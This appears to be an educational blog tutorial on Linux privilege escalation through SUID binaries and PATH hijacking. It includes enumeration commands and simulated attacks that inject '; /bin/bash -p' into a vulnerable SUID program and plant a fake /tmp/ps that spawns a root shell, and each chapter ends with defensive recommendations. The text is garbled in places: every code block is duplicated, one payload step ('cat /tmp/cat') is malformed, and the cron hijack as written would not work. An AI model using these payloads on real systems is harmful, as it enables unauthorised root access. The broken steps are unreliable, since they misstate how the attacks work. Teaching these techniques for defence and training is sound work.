August 6, 2026
Mastering Linux Privilege Escalation Basics: (part 2)
By Youssefelkahkyy
5 min read
Chapter 2: SUID
What Is SUID?
SUID stands for Set Owner User ID. It is a special permission bit in Linux that causes an executable to run with the privileges of the file's owner rather than the privileges of the user who launched it. When applied to a binary owned by root, any user who executes that binary temporarily becomes root for the duration of that program's execution.
Why Does SUID Exist?
SUID exists to solve a genuine problem: some system operations require elevated privileges, but administrators do not want to give users full root access. The classic example is passwd. Ordinary users need to change their passwords, which requires writing to /etc/shadow — a file only root can modify. Rather than giving every user root access, the passwd binary has the SUID bit set and is owned by root. When you run passwd, it runs as root, but the program itself is carefully coded to only allow you to change your own password.
How SUID Works Internally
plain
User Executes /usr/bin/passwd
|
v
Kernel Checks Permissions
|
v
Is SUID Bit Set? ------> No ------> Run as User
|
Yes
|
v
Run as File Owner (root)
|
v
Program Logic Enforces
Its Own RestrictionsUser Executes /usr/bin/passwd
|
v
Kernel Checks Permissions
|
v
Is SUID Bit Set? ------> No ------> Run as User
|
Yes
|
v
Run as File Owner (root)
|
v
Program Logic Enforces
Its Own RestrictionsThe SUID bit is represented numerically as 4000 or symbolically as s in the owner's execute position:
bash
ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 ... /usr/bin/passwdls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 ... /usr/bin/passwdNotice the s where the owner's x would normally be. If the file did not have execute permissions for the owner, it would appear as an uppercase S.
How Attackers Enumerate SUID Binaries
The essential command:
bash
find / -perm -4000 -type f 2>/dev/nullfind / -perm -4000 -type f 2>/dev/nullPurpose: Search the entire file system for files with the SUID bit set. Syntax: find [path] [expression] Options Explained:
- /: Start searching from the root directory.
-perm -4000: Match files where the SUID bit (4000 in octal) is set. The leading dash means "at least these bits."-type f: Only match regular files, not directories.2>/dev/null: Redirect error messages (permission denied) to/dev/nullso your output is clean.
Expected Output:
plain
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/local/bin/custom_backup/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/local/bin/custom_backupWhen Penetration Testers Use It: Immediately after gaining a low-privileged shell. This is one of the first commands in any Linux privilege escalation checklist.
Common Mistake: Beginners see standard SUID binaries like passwd, sudo, and mount and ignore them because they are legitimate system binaries. While these are usually not exploitable directly, custom SUID binaries in non-standard locations (/usr/local/bin, /opt, /home) are prime targets.
Common Privilege Escalation Opportunities
- Custom SUID Binaries with System Calls
Suppose you find /usr/local/bin/readfile owned by root with SUID set. You run it:
bash
./readfile /etc/passwd./readfile /etc/passwdIt reads and displays a file. If the program uses system() instead of safer functions like execve(), and the user input is not sanitized, you might be able to inject commands:
bash
./readfile " /etc/passwd; /bin/bash"./readfile " /etc/passwd; /bin/bash"- SUID Binaries with Known Exploits
Some versions of standard utilities have known vulnerabilities. Tools like sudo itself have had CVEs where specific version numbers could be exploited for privilege escalation. Always check versions:
bash
/usr/local/bin/custom_app --version/usr/local/bin/custom_app --version- SUID with Shared Object Hijacking
If a SUID binary loads shared libraries dynamically and you can influence the library search path, you can inject malicious code. We will explore this concept more in the PATH hijacking chapter.
Attack Simulation: Vulnerable SUID Binary
Discovery:
bash
www-data@target:~$ find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/backup_readerwww-data@target:~$ find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/backup_readerInvestigation:
bash
www-data@target:~$ ls -la /usr/local/bin/backup_reader
-rwsr-xr-x 1 root root 16728 Jan 15 09:23 /usr/local/bin/backup_reader
www-data@target:~$ file /usr/local/bin/backup_reader
/usr/local/bin/backup_reader: setuid ELF 64-bit LSB executable
www-data@target:~$ strings /usr/local/bin/backup_reader
/bin/cat /var/backups/%swww-data@target:~$ ls -la /usr/local/bin/backup_reader
-rwsr-xr-x 1 root root 16728 Jan 15 09:23 /usr/local/bin/backup_reader
www-data@target:~$ file /usr/local/bin/backup_reader
/usr/local/bin/backup_reader: setuid ELF 64-bit LSB executable
www-data@target:~$ strings /usr/local/bin/backup_reader
/bin/cat /var/backups/%sThe binary uses system("/bin/cat /var/backups/" + user_input). There is no input sanitization.
Exploitation:
bash
www-data@target:~$ /usr/local/bin/backup_reader "; /bin/bash -p"www-data@target:~$ /usr/local/bin/backup_reader "; /bin/bash -p"The -p flag preserves privileges. Because the binary is SUID root, the spawned bash runs as root.
Why It Works: The system() function passes the entire string to /bin/sh -c. The semicolon terminates the first command and starts a new one. Since the parent process is running as root, the child shell inherits root privileges.
Mitigation: Never use system() with user input. Use execve() with an argument array. Additionally, avoid creating custom SUID binaries when alternatives like capabilities or sudo exist.
Security Recommendations
- Audit all SUID binaries regularly:
find / -perm -4000 -type f -exec ls -la {} \; - Remove SUID bits from binaries that do not need them:
chmod u-s /path/to/binary - Prefer Linux capabilities over SUID where possible.
- Code review custom SUID binaries for unsafe system calls.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Chapter 3: PATH Hijacking
What Is PATH Hijacking?
PATH hijacking is a privilege escalation technique that exploits how Linux resolves command names into executable file paths. When you type a command like ls, the shell does not magically know where ls lives. It searches through a list of directories defined in the PATH environment variable until it finds an executable with that name. If an attacker can modify the PATH variable or place a malicious executable earlier in the search order, they can intercept command execution.
Why Does PATH Exist?
The PATH variable exists for convenience. Without it, you would have to type /usr/bin/ls every time you wanted to list files. PATH allows you to type ls and let the system figure out the rest. It is a fundamental part of the Unix user experience.
How PATH Resolution Works Internally
plain
User Types: ls
|
v
Shell Checks if Command
Contains a Slash (/)
|
+---+---+
| |
Yes No
| |
v v
Execute Split PATH by :
Directly |
v
For Each Directory:
Does ls Exist Here?
|
+----+----+
| |
Yes No
| |
v v
Execute Continue to
Next DirectoryUser Types: ls
|
v
Shell Checks if Command
Contains a Slash (/)
|
+---+---+
| |
Yes No
| |
v v
Execute Split PATH by :
Directly |
v
For Each Directory:
Does ls Exist Here?
|
+----+----+
| |
Yes No
| |
v v
Execute Continue to
Next DirectoryYou can view your current PATH:
bash
echo $PATHecho $PATHExpected Output:
plain
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binThe shell searches from left to right. The first match wins.
How PATH Hijacking Works in Privilege Escalation
PATH hijacking becomes a privilege escalation vector when:
- A script or program runs with elevated privileges (via SUID, sudo, or cron).
- That script calls other commands using relative paths or unqualified names.
- The attacker can modify the PATH environment variable or write to a directory that appears earlier in PATH.
Practical Example: SUID Script with Relative Commands
Imagine a SUID script owned by root:
bash
#!/bin/bash
cat /var/log/auth.log | grep "Failed"#!/bin/bash
cat /var/log/auth.log | grep "Failed"The script calls cat without an absolute path. If the attacker can modify PATH:
bash
export PATH=/tmp:$PATH
cat /tmp/cat
#!/bin/bash
/bin/bash -pexport PATH=/tmp:$PATH
cat /tmp/cat
#!/bin/bash
/bin/bash -pWhen the script runs, it finds /tmp/cat first and executes the attacker's payload as root.
Common Mistake: Beginners think PATH hijacking only works if they can modify the global PATH. In reality, many privilege escalation scenarios involve scripts that do not sanitize PATH, allowing the inherited environment to control command resolution.
Attack Simulation: Cron Script PATH Hijacking
Discovery:
bash
www-data@target:~$ cat /etc/crontab
* * * * * root /usr/local/bin/check_services.shwww-data@target:~$ cat /etc/crontab
* * * * * root /usr/local/bin/check_services.shInvestigation:
bash
www-data@target:~$ cat /usr/local/bin/check_services.sh
#!/bin/bash
cd /home/admin
ps aux | grep apachewww-data@target:~$ cat /usr/local/bin/check_services.sh
#!/bin/bash
cd /home/admin
ps aux | grep apacheThe script calls ps without an absolute path.
Exploitation:
bash
www-data@target:~$ echo '#!/bin/bash' > /tmp/ps
www-data@target:~$ echo '/bin/bash -p' >> /tmp/ps
www-data@target:~$ chmod +x /tmp/ps
www-data@target:~$ export PATH=/tmp:$PATHwww-data@target:~$ echo '#!/bin/bash' > /tmp/ps
www-data@target:~$ echo '/bin/bash -p' >> /tmp/ps
www-data@target:~$ chmod +x /tmp/ps
www-data@target:~$ export PATH=/tmp:$PATHWait for the cron job to execute. When it does, ps resolves to /tmp/ps, and a root shell is spawned.
Why It Works: The cron daemon inherits a minimal environment, but if the script itself does not use absolute paths and the attacker controls directory write permissions or PATH injection points, command resolution is hijacked.
Administrator's Perspective: Always use absolute paths in scripts that run with elevated privileges. Explicitly set PATH at the top of the script:
bash
#!/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin#!/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binSecurity Recommendations
- Always use absolute paths in scripts and programs that run with elevated privileges.
- Explicitly set and sanitize PATH in cron jobs, systemd services, and SUID wrappers.
- Avoid allowing untrusted users to write to directories in the default PATH.
- Use
command -vorwhichdefensively if you must rely on PATH resolution.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —